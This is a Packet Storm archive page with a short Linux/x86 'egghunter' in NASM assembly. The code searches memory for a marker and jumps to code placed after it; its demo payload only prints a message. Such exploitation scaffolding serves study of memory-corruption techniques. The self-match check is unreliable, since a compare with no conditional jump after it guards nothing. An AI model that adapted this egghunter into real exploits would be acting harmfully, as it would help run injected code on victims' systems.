exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 Egghunting Shellcode

Linux/x86 Egghunting Shellcode
Posted Jul 22, 2011
Authored by Ali Raheem

Linux/x86 egghunting shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | e7ee2ccf5f9bac4883900389d6e7cb5d2ce0dd12f85fb2e383e8e35f89ca3b75

Linux/x86 Egghunting Shellcode

Change Mirror Download
/*
Exploit Title: Linux/x86 egghunt shellcode
Date: 21-07-2011
Author: Ali Raheem
Tested on:
Linux Ali-PC.home 2.6.38.8-35.fc15.x86_64 #1 SMP Wed Jul 6 13:58:54 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
Linux injustice 2.6.38-10-generic #46-Ubuntu SMP Tue Jun 28 15:05:41 UTC 2011 i686 i686 i386 GNU/Linux
http://codepad.org/tkSONxY5 Code pad lets you execute code live check here for a live demostration
Thanks: Stealth- for testing and codepad.com for being so useful.
[ali@Ali-PC asm]$ cat egghunter.s
section .data
egg equ "3Gg!" ;this is the egg marker
section .text
global _start
_start:
mov eax, _start ;0x8048080 is a good safe starting point
_next:
inc eax
_isEgg:
cmp dword [eax-4],egg
jne _next
cmp eax,ebx
jmp eax
*/
section .data
msg db "We found the egg!",0ah,0dh
msg_len equ $-msg
egg equ "3Gg!"
section .text
global _start
;This simple egg will print msg if we find it
_egg:
db "3Gg!" ;Start your egg with this marker
mov eax,4
mov ebx,1
mov ecx,msg
mov edx,msg_len
int 80h
mov eax,1
int 80h
_start:
mov eax, 0x8048080
_next:
inc eax
_isEgg:
cmp dword [eax-4],egg ;is this our marker?
jne _next ;No? skip
cmp eax,ebx ;Make sure JNE is not true if we found our self
jmp eax ;Execute the egg

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close